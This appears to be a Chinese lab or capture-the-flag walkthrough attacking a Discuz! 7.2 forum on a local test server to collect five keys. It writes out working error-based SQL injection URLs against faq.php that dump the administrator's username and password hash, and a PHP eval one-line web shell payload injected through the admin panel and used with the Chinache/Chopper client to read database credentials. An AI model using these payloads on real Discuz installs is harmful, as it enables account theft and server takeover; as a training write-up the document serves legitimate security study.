这综合测试之前,小伙伴们可以先去了解了解Dz7.2的一些漏洞和特性,我就不在这说了:
第一步,看指导说明:
一进来,我就发现,我们的目标网站的系统是Discuz!的论坛,在一看发现版本是7.2然后
我们就去百度一下相关漏洞所在,查看到的便是faq.php的注入漏洞
具体漏洞解释就自己去看看,直接上代码
第一步检查是否有注入漏洞:
192.168.1.3/faq.php?action=grouppermission&gids[99]=‘&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
由图可知,由注入漏洞,注入也在途中给出,接下来就是查询管理员账号密码了
192.168.1.3/faq.php?action=grouppermission&gids[99]=‘&gids[100][0]=)
and (select 1 from (select count(*),concat((select concat(username,0x7e7e,password,0x7e7e) from cdb_members limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)%23
其中0x7e7e为 ~~的16进制,用来分割账号和密码
爆出来了,管理员账号和hash加密的密码
!注意:这个加密的秘密要拿到,实验平台去解密如下图:
得到密码以后,就去先登陆后台,然后进入管理
找到key1
接下来,我们就要去想办法控制服务器,找插入点插入一句话
由于自己搭建环境查看可以知道,要这样构造
xx\‘);eval($_POST[a]);?>\\
前面\是因为,直接输入单引号会被注释掉,所以需要注释掉注释
后面的\\注释掉后面的所以语句
于是,我们插入一句话提交,然后使用菜刀连接:注意连接的地址
连接成功:
然后,去寻找key2,去查看被攻击服务器上的config.inc.php页面
然后下载过来查看,发现了数据库账户和密码
接下来,用菜刀去连接数据库:
再来,就是去查看数据库,其中下面图中3个加密的密码之一就是key2的密码,还是利用指导实验下面那个框来解密
然后继续查看数据库内容,发现key3
数据库没什么以后,查看文件里面的,发现key4的压缩包
下载下了后,我们用文本查看,发现得到一串加密的字符串:
先把字符串转为10进制的字母,然后得到base64加密过的密码,在解密得到key4
最后,我们在去文件里面逛逛发现key5:
这一次下载下来直接打开就是key了
如果有什么出错的,欢迎指出